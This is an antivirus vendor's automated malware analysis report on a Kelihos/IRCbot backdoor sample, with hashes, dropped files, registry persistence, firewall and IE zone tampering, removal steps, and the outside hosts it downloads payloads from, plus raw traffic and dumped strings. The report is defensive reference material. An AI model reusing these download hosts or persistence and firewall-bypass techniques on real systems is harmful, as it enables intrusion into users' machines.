Backdoor.Win32.Kelihos_1717bd6824 – Adaware

Trojan.Win32.IRCbot.dbq (Kaspersky), Gen:Variant.Zusy.94233 (B) (Emsisoft), Gen:Variant.Zusy.94233 (AdAware), Backdoor.Win32.Kelihos.FD, GenericInjector.YR, GenericIRCBot.YR (Lavasoft MAS)Behaviour: Trojan, Backdoor, IRCBot

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 1717bd6824cf9992931e45679007bc35

SHA1: 478dd4e2129cf77142db78b4fcdf7664fec044d2

SHA256: fa71790f0ba3719bd8f193f2bde65f5f3fba1065e0d69400e5ace04fccec728b

SSDeep: 1536:ZO4l N0dCV1LovSv3LP3KwWsfd10JLmp 5osdd07COPj1GbP:ZNxA7Lov2GPseLp5oi81Gj

Size: 103424 bytes

File type: EXE

Platform: WIN32

Entropy: Not Packed

PEID: UPolyXv05_v6

Company: no certificate found

Created at: 2014-05-26 19:26:52

Analyzed on: WindowsXP SP3 32-bit

Summary: Backdoor. Malware that enables a remote control of victim's machine.

Dynamic Analysis

Payload

Behaviour	Description
IRCBot	A bot can communicate with command and control servers via IRC channel.

Process activity

The Backdoor creates the following process(es):

file074562.exe:1476
adobe.exe:1044
%original file name%.exe:472

The Backdoor injects its code into the following process(es):

temp3297822988.exe:380
adobe.exe:600

File activity

The process file074562.exe:1476 makes changes in the file system.

The Backdoor creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\temp3297822988.exe (6340 bytes)

The process temp3297822988.exe:380 makes changes in the file system.

The Backdoor deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmp.exe (0 bytes)

The process adobe.exe:600 makes changes in the file system.

The Backdoor creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\sev[1].exe (33149 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\update2.tmp (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\file074562.exe (32409 bytes)

The process %original file name%.exe:472 makes changes in the file system.

The Backdoor creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\adobe.exe (601 bytes)

Registry activity

The process file074562.exe:1476 makes changes in the system registry.

The Backdoor creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "64 D9 36 58 27 19 91 E5 C7 C6 52 AC 00 CB 79 5F"

The process temp3297822988.exe:380 makes changes in the system registry.

The Backdoor creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A5 57 42 68 56 71 C4 61 AA 79 9B F7 3C CD 96 95"

[HKCU\Software\Microsoft\Notepad]
"SizeCompletedValid" = "DOKsj UYUZziJBNJT3gEcDc1y6UBviAwP9Q37dnt/hcQpVyXTR5Ue3a8OoZVhA5ISw=="

[HKCU\Software\Sysinternals\Process Monitor]
"UrlEnabledUse" = "80"

[HKLM\System\CurrentControlSet\Services\nm\Parameters]
"EnableStationQueries" = "1"
"ComputerName" = "XP9"

[HKCU\Software\Microsoft\Notepad]
"InfoPlayedCurrent" = "00 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"DBSavedUse" = "A2 49 4D F3 D9 1E 9F 88 01 01 08 6A 00 03 1D 03"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Sysinternals\Process Monitor]
"FlagsModifiedValid" = "00 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Notepad]
"StyleModifiedPrev" = "80"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"PlatformCompressedValid" = "00 00 00 00 00 00 00 00"
"PersistentLocalizedName" = "24 80 F9 7F 7A 42 2F B6 EC D5 84 CC 67 9F 3F 59"

[HKCU\Software\Sysinternals\Process Monitor]
"DefaultCompressedRecord" = "24 80 F9 7F 73 20 31 35 48 65 1F 22 13 A7 50 56"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCU\Software\Microsoft\Notepad]
"ActiveModifiedTheme" = "24 80 F9 7F 87 19 36 DC 74 5F 13 B0 96 C8 7D A2"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"RecordEnabledCheck" = "80"

[HKCU\Software\Sysinternals\Process Monitor]
"RecordModifiedMax" = "DOKsj UYUZziJBNJT3gEcDc1y6UBviAwP9Q37dnt/hcQpVyXTR5Ue3a8OoZVhA5ISw=="

[HKLM\System\CurrentControlSet\Services\nm\Parameters]
"UserName" = "%CurrentUserName%"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"LineLoadedQuick" = "DOKsj UYUZziJBNJT3gEcDc1y6UBviAwP9Q37dnt/hcQpVyXTR5Ue3a8OoZVhA5ISw=="

To automatically run itself each time Windows is booted, the Backdoor adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"NetworkChecker" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\temp3297822988.exe"

The process adobe.exe:600 makes changes in the system registry.

The Backdoor creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1A 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"file074562.exe" = "file074562"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "36 59 20 8F 1C E2 9C 4C 27 20 CE 7B EA 31 88 47"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

To automatically run itself each time Windows is booted, the Backdoor adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Adobe Reader" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\adobe.exe"

The Backdoor modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List]
"Adobe Reader" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\adobe.exe"

The Backdoor modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Backdoor adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Adobe Reader" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\adobe.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Backdoor modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Backdoor deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:472 makes changes in the system registry.

The Backdoor creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "11 A4 BB 0F C8 AC B3 17 5D 6A 9B E4 6E 53 7E AD"

Dropped PE files

MD5	File path
06ac7429285248b24cb27196c4e87c6d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\file074562.exe
535b8eb3bb0ce795c516990bc249cfe0	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\temp3297822988.exe
06ac7429285248b24cb27196c4e87c6d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\sev[1].exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
file074562.exe:1476
adobe.exe:1044
%original file name%.exe:472
Delete the original Backdoor file.
Delete or disinfect the following files created/modified by the Backdoor:
%Documents and Settings%\%current user%\Local Settings\Temp\temp3297822988.exe (6340 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\sev[1].exe (33149 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\update2.tmp (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\file074562.exe (32409 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\adobe.exe (601 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"NetworkChecker" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\temp3297822988.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Adobe Reader" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\adobe.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Adobe Reader" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\adobe.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	48473	48640	4.56885	4bef122832dd7f67365b0c013b109d9b
.rdata	53248	21080	21504	4.79964	7beb0d5c2b2d5e0f789d2f8a2f7b42c6
.data	77824	11772	4608	1.61437	1f3a6793014f29c07b60e588f646c3dc
.rsrc	90112	27376	27648	4.59322	9bf5dcad891adceb0c305c79939a1d5a

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://94.23.157.200/sev.exe
hxxp://86.100.38.160/boxi001.exe

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

..4!lUUE..H@O[Q......O....j.0F.A..T..x..o.g..B...s?..a....7..(d...Q...j..uT.b=B...~...h....N..an......K..........n1.&a%...E.pD.J.2S.0R..6..=..eR0;...N.C......z.#...

l?%w.UUE.@..'4S...@..E.Q.."/(dx..<...B..F#..=.]m...;...DB......dn.u........Z..HV...c6,.GyQ..-P.O&.....w..XW....y...b[.4........J0..q J..F.......{:V[.....f.(.M...n..I6Q9..=Rf.=........h.@.,.`V..%..oC.:..1..<..7.q1.1@..A\..;G$[..._......e!

GET /sev.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: 94.23.157.200

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 30 May 2014 08:43:38 GMT

Server: Apache/2.2.3 (CentOS)

Last-Modified: Thu, 29 May 2014 20:13:12 GMT

ETag: "4a98cdc-16010-8eece600"

Accept-Ranges: bytes

Content-Length: 90128

X-Powered-By: PleskLin

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive

Content-Type: application/octet-stream

MZ......................@...............................................!..L.!..That program must be run under Win32..$7........PE..L.....TL................./...........-.......@....@..................................6......................................X@.......P...2......................................P...............................>............C..P....................text..../....... .....................`.rdata..l....@.......$...................DATA....N...P...4...,..............@..@........... &...........kernel32.dll..wmpdxm.dll................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................U_W.. .3...XV3. .WS.>......6..>..:....t$....U\Z..Z6..U[S.. .3...4V3. .QW.>......6..>..e....t$....U\Y..Y6..U_W.. .3...XV3. .SRRP.>......6..>.......t$....U\[..[6..UZR.. .3...8V3. .QSQR.>......6..>.......t$....U\_.._6..YU[S.. .3...`V3. .RWQ.>......6..>..-....t$....3...$@@..1.NLQ.......U\Y..Y6..`...........................U[S.. .3...,V3. .SWWR.>......6..>.......t$....U\X..X6..UXP.. .3... V3. .RS.>......6..>.......t$....U\_.._6......................U_W.. .3...\V3. .PR

<<< skipped >>>

GET /boxi001.exe HTTP/1.0

Host: 86.100.38.160

HTTP/1.1 200 Ok

Server: Apache

Content-Length: 899600

Content-Type: application/octet-stream

Last-Modified: .., 30 ... 2014 08:44:16 GMT

Accept-Ranges: bytes

MZ......................@...............................................!..L.!..That program must be run under Win32..$7........PE..L.....TL................./...........-.......@....@...........................#.............................................X@.......P..................................................................T.......>....................................text..../....... .....................`.rdata..f....@.......$...................DATA.....#..P.......(..............@..@........... &...........kernel32.dll..wmpdxm.dll................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................U[S.. .3...(V3. .WWSR.>......6..>.......t$....U\Z..Z6..UXP.. .3...(V3. .SRW.>......6..>..U....t$....U\[..[6..U[S.. .3...<V3. .PW.>......6..>.......t$....U\Z..Z6..UYQ.. .3...4V3. .PR.>......6..>..)....t$....U\X..X6..UZR.. .3...\V3. .PWSQ.>......6..>.......t$....U\[..[6..`.......YUYQ.. .3...0V3. .WR.>......6..>..~....t$....3....@@..1.V.R.......U\Z..Z6..U_W.. .3...HV3. .SRQ.>......6..>.......t$....U\_.._6......................U[S.. .3...XV3. .WSS.>......6..&gt

<<< skipped >>>

..4!lUUE..H@S=.q/.....]..tF.0F.A.....,...Q.}...!....I..:_H....G..bV.#R....?.?...8H...`.yBV. .lv.s...#Z......P...Q..:..UJE.U.Sk.i..7....U..l....\|0....i.0.MH9o......

..h... ...P....../2K<..6.A.a-....."p...s.$.8y..t...*.....4.BK.

Map

The Backdoor connects to the servers at the folowing location(s):

Strings from Dumps

adobe.exe_600:

.text

`.rdata

@.data

.reloc

WS2_32.dll

URLDownloadToFileA

urlmon.dll

GetWindowsDirectoryA

KERNEL32.dll

ShellExecuteA

SHELL32.dll

RegCloseKey

RegCreateKeyExA

ADVAPI32.dll

USER32.dll

MSVCRT.dll

_acmdln

%s\%s

%s:*:Enabled:%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Run\

%s :%s

%s %s :%s

%s %s

%s %s %s

%s %s "" "abc" :%s

Executed process "%s".

adobe.exe

NICK

JOIN

PRIVMSG

212.117.168.16

SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DriverUpdate

SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DriverManager

Windows Security Alert

[%s|%s]%s

n[%s|%s]%s

website=1

\update%s.tmp

3<3_3

;';6;\;|;

adobe.exe_600_rwx_00400000_00007000:

.text

`.rdata

@.data

.reloc

WS2_32.dll

URLDownloadToFileA

urlmon.dll

GetWindowsDirectoryA

KERNEL32.dll

ShellExecuteA

SHELL32.dll

RegCloseKey

RegCreateKeyExA

ADVAPI32.dll

USER32.dll

MSVCRT.dll

_acmdln

%s\%s

%s:*:Enabled:%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Run\

%s :%s

%s %s :%s

%s %s

%s %s %s

%s %s "" "abc" :%s

Executed process "%s".

adobe.exe

NICK

JOIN

PRIVMSG

212.117.168.16

SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DriverUpdate

SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DriverManager

Windows Security Alert

[%s|%s]%s

n[%s|%s]%s

website=1

\update%s.tmp

3<3_3

;';6;\;|;

adobe.exe_600_rwx_008F0000_00007000:

.text

`.rdata

@.data

.reloc

WS2_32.dll

URLDownloadToFileA

urlmon.dll

GetWindowsDirectoryA

KERNEL32.dll

ShellExecuteA

SHELL32.dll

RegCloseKey

RegCreateKeyExA

ADVAPI32.dll

USER32.dll

MSVCRT.dll

_acmdln

%s\%s

%s:*:Enabled:%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Run\

%s :%s

%s %s :%s

%s %s

%s %s %s

%s %s "" "abc" :%s

Executed process "%s".

adobe.exe

NICK

JOIN

PRIVMSG

212.117.168.16

SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DriverUpdate

SOFTWARE\Microsoft\Windows\CurrentVersion\Run\DriverManager

Windows Security Alert

[%s|%s]%s

n[%s|%s]%s

website=1

\update%s.tmp

3<3_3

;';6;\;|;

temp3297822988.exe_380:

FTPQ

PSSSSSSh

FTPS

~$)~()|$

3|$83|$0

3|$<3|$0

3|$@3|$4

.QZ^&

vSSSh

FTPjK

FtPj;

C.PjRV

tGHt.Ht&

Local\{C15730E2-145C-4c5e-B005-3BC753F42475}-once-flag

Can't terminate a sub-expression with an alternation operator |.

A regular expression can start with the alternation operator |.

Alternation operators are not allowed inside a DEFINE block.

More than one alternation operator | was encountered inside a conditional expression.

A repetition operator cannot be applied to a zero-width assertion.

Invalid alternation operators within (?...) block.

The \c and \C escape sequences are not supported by POSIX basic regular expressions: try the Perl syntax instead.

Found a closing repetition operator } with no corresponding {.

The repeat operator " " cannot start a regular expression.

The repeat operator "?" cannot start a regular expression.

The repeat operator "*" cannot start a regular expression.

right-curly-bracket

left-curly-bracket

0123456789

Unmatched quantified repeat operator { or \{.

Invalid preceding regular expression prior to repetition operator.

1.2.5

boost::filesystem::directory_iterator::operator

Visual C CRT: Not enough memory to complete call to strerror.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

operator

GetProcessWindowStation

USER32.DLL

Mozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/14.0 Opera/12.0

Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00

Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14

Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14

Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14

Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; da-dk) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1

Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1

Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2

Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112)

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)

Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)

Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)

Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)

Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0

Mozilla/5.0 (Windows NT 5.0; rv:21.0) Gecko/20100101 Firefox/21.0

Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0

Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130331 Firefox/21.0

Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130401 Firefox/21.0

Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0

Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130328 Firefox/21.0

Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130330 Firefox/21.0

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130331 Firefox/21.0

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130401 Firefox/21.0

Mozilla/5.0 (Windows NT 6.2; rv:21.0) Gecko/20130326 Firefox/21.0

Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0

Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0

Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0

Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36

Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36

Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36

Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36

Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)

Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)

asio.misc

asio.misc error

thread.entry_event

thread.exit_event

255.255.255.255

0.0.0.0

127.0.0.1

%d.%m.%Y %H:%M:%S

%a, %d %b %Y %H:%M:%S GMT

<4,$?7/'

(3-!0,1'8"5.*2$

.text

h.rdata

H.data

.rsrc

B.reloc

DriverEntry: TCP-IP not found, quitting.

DriverEntry: Adapters not found in the registry, try to copy the bindings of TCP-IP.

DriverEntry: OS Version: %d.%d

Device %d = %ws

Status of %x querying key value

Status of %x querying key value for size

OpenKey Failed, %d!

Key name=%ws

Status of %x opening %ws

Mac %u = %ws

Tcpip bind value not REG_MULTI_SZ but %u

Querying key value result len = %u but previous len = %u

IoCreateDevice status = %x

NPF_IoControl: BIOCQUERYOID completed, BytesWritten = %u

NPF_IoControl: Bogus return from NdisRequest (query): Bytes Written (%u) > InfoBufferLength (%u)!!

NPF_IoControl: BIOCSETOID completed, BytesRead = %u

NPF_IoControl: Error installing the BPF filter. The filter contains TME extensions, not supported on 64bit platforms.

NPF_IoControl: Operative instructions=%u

KeGetCurrentIrql() == PASSIVE_LEVEL

e:\releases\winpcap_4_1_0_1753\winpcap\packetntx\driver\openclos.c

NPF_Open: Opened Instances: %u

NPF_Open: Opened the device, Status=%x

NPF_Cleanup: Opened Instances: %u

Received on CPU %d

HeaderBufferSize=%u, LookAheadBuffer=%p, LookaheadBufferSize=%u, PacketSize=%u

NPF_Write: Max frame size = %u, packet size = %u

NPF_Write: Another Send operation is in progress, aborting.

NPF: BufferedWrite, UserBuff=%p, Size=%u

e:\releases\winpcap_4_1_0_1753\winpcap\packetntx\driver\bin\i386\npf.pdb

ZwQueryValueKey

ZwEnumerateKey

ZwOpenKey

ntoskrnl.exe

HAL.dll

NDIS.SYS

0$0)02090

http://ocsp.verisign.com0

"http://crl.verisign.com/tss-ca.crl0

Thawte Certification1

0http://crl.verisign.com/ThawteTimestampingCA.crl0

.Class 3 Public Primary Certification Authority0

2Terms of use at https://www.verisign.com/rpa (c)041.0,

https://www.verisign.com/rpa01

http://crl.verisign.com/pca3.crl0

.Class 3 Public Primary Certification Authority

/http://CSC3-2004-crl.verisign.com/CSC3-2004.crl0D

https://www.verisign.com/rpa0

http://ocsp.verisign.com0?

3http://CSC3-2004-aia.verisign.com/CSC3-2004-aia.cer0

Dhttp://crl.microsoft.com/pki/crl/products/MicrosoftCodeVerifRoot.crl0

n.aAHu

`.rdata

@.data

@.reloc

L$.Qf

mscoree.dll

.mixcrt

KERNEL32.DLL

kernel32.dll

@(#) $Header: /tcpdump/master/libpcap/scanner.l,v 1.110.2.2 2008/02/06 10:21:47 guy Exp $ (LBL)

@(#) $Header: /tcpdump/master/libpcap/savefile.c,v 1.168.2.10 2008-10-06 15:38:39 gianluca Exp $ (LBL)

